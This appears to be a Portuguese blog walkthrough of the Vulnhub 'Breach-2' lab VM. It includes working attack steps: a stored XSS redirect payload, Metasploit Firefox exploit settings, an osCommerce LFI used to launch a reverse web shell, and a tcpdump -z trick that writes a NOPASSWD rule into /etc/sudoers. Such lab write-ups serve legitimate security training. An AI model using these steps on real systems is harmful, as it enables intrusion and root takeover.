Home Vulnhub - Breach-2
Post
Cancel

Vulnhub - Breach-2

Scan/Enumeracao

Host Discovery

  • No site da maquina, no Vulnhub, esta informando que a rede esta configurada com o IP 192.168.110.151

Port Discovery

  • Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo, e podemos observar que temos 03 portas abertas: 111, 33230 e 65535
1
sudo nmap -n -T5 -p- 192.168.110.151

Port Scan

  • Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre os servicos da maquina
1
sudo nmap -n -T5 -A -p 111,33230,65535 192.168.110.151

  • Porta 111: rpcbind 2-4 (RPC #100000)
  • Porta 33230: 1 (RPC #100024)
  • Porta 65535: OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0)

SSH - Porta 65535

  • Temos um SSH na ultima porta possivel (65535), estamos na escata zero ainda. Entao vamos tentar conectar pra ver se ele nos retorna algum banner…

  • Opa, temos um banner interessante… Nele esta dizendo a empresa que e dona do servidor, que as conexoes sao monitoradas e o mais importante: existe um usuario chamado Peter e esta dizendo que a senha dele esta na “fonte

1
ssh 192.168.110.151 -p65535 

SSH login Peter

  • Depois de muito tempo tentando achar a senha e fazendo bruteforce nao conseguimos sair do lugar. Porem com algumas dicas da web consegui descubrir que a senha e: “inthesource

  • Passamos ela porem a conexao e fechada. Pode ser algo sobre o aviso que estava no banner dizendo para o Peter para de acessar o blog nas suas ferias…

Web - Porta 80

  • Depois de ter quebrado a cabeca, fiz o port discovery novamente e encontrei a 80 aberta…

  • Rodamos o nmap novamente com o parametro “-A” para verificar mais informacoes sobre a porta 80 do alvo… Sabemos que esta rodando um Apache httpd 2.4.10 ((Debian))…

Browser

  • Acessamos a pagina web…

  • No codigo fonte tem um comentario

Fuzzy de diretorios - Gobuster

  • Rodamos o gobuster…

  • Encontramos uma pagina: /blog

Blog - Peter Gibbons TRavel Blog

Gobuster

  • Rodamos o gobuster na pagina do blog para achar outros diretorios e arquivos

README

  • Na pagina http://192.168.110.151/blog/README temos um passo para instalar alguma coisa. No texto tem algo relevante dizedo sobre upload de arquivos “.php”

Smiles

  • No diretorio /smiles temos alguns gifs do blog

Wysiwyg

  • Encontramos outros diretorios de jscript nesta pagina

Gobuster

  • Seguindo a dica do texto vamos rodar o gobuster nevamente para tentar encontrar arquivos “.php”

  • Encontramos alguns interessantes: /config.php, /functions.php, /index.php, /install.php e /rss.php

1
gobuster dir -u http://192.168.110.151/blog -w /usr/share/wordlists/dirb/big.txt -x php 

/intall.php

  • De todos os que achamos o que mais chamou a antencao foi o install.php

  • Seguindo as instrucoes da pagina vamos realizar o procedimento para instalar o SQL

  • Fresh Install…

  • Admin Info…

  • Agora vamos criar um usuario

  • Terminamos o procedimento agora ele nos manda para a pagina de login e da um recado dizendo “para nao esquecer de deletar install.php”

  • Conseguimos realizar o login na plataforma com o usuario que criamos, porem nao conseguimos nada de interessante por enquanto

Exploit-DB

  • Vamos procurar por exploit para essa aplicacao no site Exploit-DB

  • Achamos alguns exploits que podem servir…

  • Vamos analisar o exploit BlogPHP 2.0 - Persistent Cross-Site Scripting - EDB-ID: 17640

  • Observamos que a aplicacao pode ser vulneravel a XSS

XSS - BlogPHP

  • Vamos testar se a aplicacao realmente esta com essa vulnerabilidade
1
<META http-equiv="refresh" content="0;URL=http://192.168.110.3">

  • Subimos a porta 80 na nossa maquina com o nc
1
sudo nc -k -lnvp 80

  • Agora tentamos acessar a pagina de usuarios: “192.168.110.151/blog/members.html” e vemos que ela faz uma requisicao para o nosso “servidor”

IMPORTANTE - Correcao

  • Na primeira vez testamos o XSS com o endereco do google, porem ficou gravado no servidor o redirecionamento para o GOOGLE. Tive que restaurar o snapshot anterior para fazer novamente e passar o meu endereco no XSS…

Exploit - Firefox 5.0

  • Na requisicao do servidor observamos que esta sendo usado o firefox 5.0 no servidor, entao procuramos por exploit para esse navegador…

  • Vamos criar um usuario… ```
1
2
3
4
5
6
7
8
9
10
![](/assets/img/Vulnhub/Breach-2/exploit-firefox.png)


#### MSFCONSOLE

* Vamos setar as opcoes no **msfconsole**, mas primeiramente vamos iniciar o banco de dados da ferramenta

```bash
sudo msfdb init

  • Vamos iniciar a ferramenta msfconsole

!!

  • Vamos escolher o modulo que sera utilizado e setar as configuracoes dele…
1
2
3
4
5
6
use exploit/multi/browser/firefox_proto_crmfrequest
set lhost 192.168.110.3
set lport 55135
set srvhost 192.168.110.3
set uripath /
set srvport 80

  • Uma Sessao sera aberta com o shell do alvo

  • Vamos interagir com a sessao

  • Temos o shell do usuario Peter

Usuario Peter

SSH

  • Primeira coisa a se fazer e dar uma olhada no arquivo de configuracao do SSH, pois desconfiamos que la tem alguma coisa que estava barrando o nosso acesso…
1
cat /etc/ssh/sshd_config

  • Para contornar essa “protecao”
1
echo "exec sh" > .bashrc

  • Agora conseguimos logar via SSH
1
ssh peter@192.168.110.151 -p65535

Escalando Privilegio

Linpeas.sh

  • Vamos baixar o linpeas no seu repositorio do github para a nossa maquina. Depois disso vamos levantar um servidor web no diretorio que esta o srcitp, no alvo vamos baixa-lo e dar permissao de execucao…

  • Agora vamos executar o script

  • Encontramos algumas coisas que podemos explorar para escalar privilegios…

  • Usuario da maquina:

  • Portas Abertas:

  • Uma tarefa agendada:

  • Acesso ao MySQL:

MySQL

  • Conseguimos logar com a credencial root: (sem senha)

  • Listando os DB’s

  • Vamos dar uma olhada no DB “oscommerce”

  • Na tabela “osc_administrators” temos uma credencial porem a senha e um hash

  • Conseguimos decodificar o hash e temos a credencial admin:admin

Conexoes disponiveis

  • Vamos verificar novamente quais sao as portas que estao abertas na maquina… O que nos chamou a atencao foi a porta 3306 e 2323 que estao disponivel para o localhost

  • A porta 3306 e o MySQL porem a porta 2323 nao sabemos ainda o que e… Pra isso vamos fazer uma busca com o grep para tentar achar o que esta nesta porta

  • Lendo o arquivo podemos observar que provavelmente se trata de um telnet

  • Entao vamos conectar com o telnet na porta 2323. Temos um login porem ele nos retorna uma coordenada…

  • 29 45’46” N 95 22’59” W
  • As coordenadas no google-maps e da cidade Houston.

Telnet

  • Vamos tentar logar no telnet com outro usuario disponivel na maquina: milton

  • Conseguimos logar com a credencial milton:Houston

  • Nao conseguimos prosseguir. Temos que responder a pergunta. Para isso vamos procurar na maquina onde esta o script que contem essa pergunta… Achamos o arquivo /usr/local/bin/cd.py
1
grep -rnw '/' -e "Whose stapler is it?" 2> /dev/null

  • No conteudo do arquivo temos a resposta que precisavamos: “mine

Usuario Milton

  • Conseguimos logar com o usuario Milton…

  • Seguindo a metodologia para escalar privilegio… Nao achamos nada que podemos executar como sudo, nenhum arquivo com SETUID… Olhando as conexoes temos uma surpresa, outra porta abriu: 8888

  • Rodamos o nmap na maquina novamente…

  • Descobrimos que temos uma aplicacao web rodando nessa porta…

Web NGINX - Porta 8888

  • Acessando no navegador temos duas paginas, uma e a pagina padra no nginx, e na outra temos a pagina do osCommerce

osCommerce

  • Acessando a pagina http://192.168.110.151:8888/oscommerce/ uma plataforma de ecommerce

  • Vamos fazer o fuzzy de diretorios
1
gobuster dir -u http://192.168.110.151:8888/oscommerce -w /usr/share/wordlists/dirb/big.txt -x php

  • Achamos a pagina de login da aplicacao

  • Se vc tiver memoria de elefante vai lembrar que conseguimos aquela credencial no bando de dados da aplicacao: admin:admin. Entao vamos logar na aplicacao com ela…

Exploit publico - osCommerce

  • Ja que conseguimos acessar a aplicacao podemos explora-la manualmente tentando inserir o nosso payload. Porem, ja que utilizamos exploits publicos nessa maquina vamos continuar nessa mesma linha de raciocinio…

  • Procurando por exploits publicos no site Exploit-DB encontramos um para a versao da aplicacao alvo

  • Sabemos que a aplicacao e vulneravel a LFI. Entao vamos testar se a aplicacao sera capaz de executar o nosso shell code… Vamos criar um arquivo no /tmp mesmo e tentar acessa-lo com o LFI

  • Vamos chama-lo no navegador. Tive que adicionar alguns “../” a mais do que o exemplo do exploit
1
http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../../../../../tmp/charlie

Shell Reverso
  • Agora vamos copiar algum daqueles web-shells do kali para o nosso diretorio atual, enviar para o alvo. Antes de enviar para o alvo temos que editar o arquivo com o nosso IP e porta…

  • No alvo damos permissao para o arquivo que enviamos e depois executamos o arquivo atraves do navegador. Antes de executar devemos deixar a porta escutando na kali
1
http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../../../../../tmp/charlie
  • Pronto, conseguimos o shell do usuario Blumbergh

Usuario Blumbergh

Escalando Privilegio

  • O primeiro passo da metodologia para escalar privilegio e verificar se conseguimos executar algum binario como sudo. Show de bola… Conseguimos executar o tcpdump
1
sudo -l

GTFOBINS

  • Sabendo que podemos executar o tcpdump como sudo, vamos procurar no site gtfobins o qur podemos fazer

  • De acordo com o site vamos criar um script que sera executado pelo tcpdump…
1
echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/charlie-root && chmod +x /tmp/charlie-root

  • Agora vamos executar o script com o tcpdump e pronto, podemos fazer qualquer coisa como sudo
1
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/charlie-root -Z root

ROOT

  • Agora conseguimos virar ROOT
1
sudo su

Flag

  • Conseguimos pegar a flag

Bonus

  • Tem como explorar o CMS OsCommerce de forma manual, ja que conseguimos logar na aplicacao. Tem um diretorio com permissao de escrita e podemos chamar o nosso php do mal pela aplicacao web…
This post is licensed under CC BY 4.0 by the author.
Contents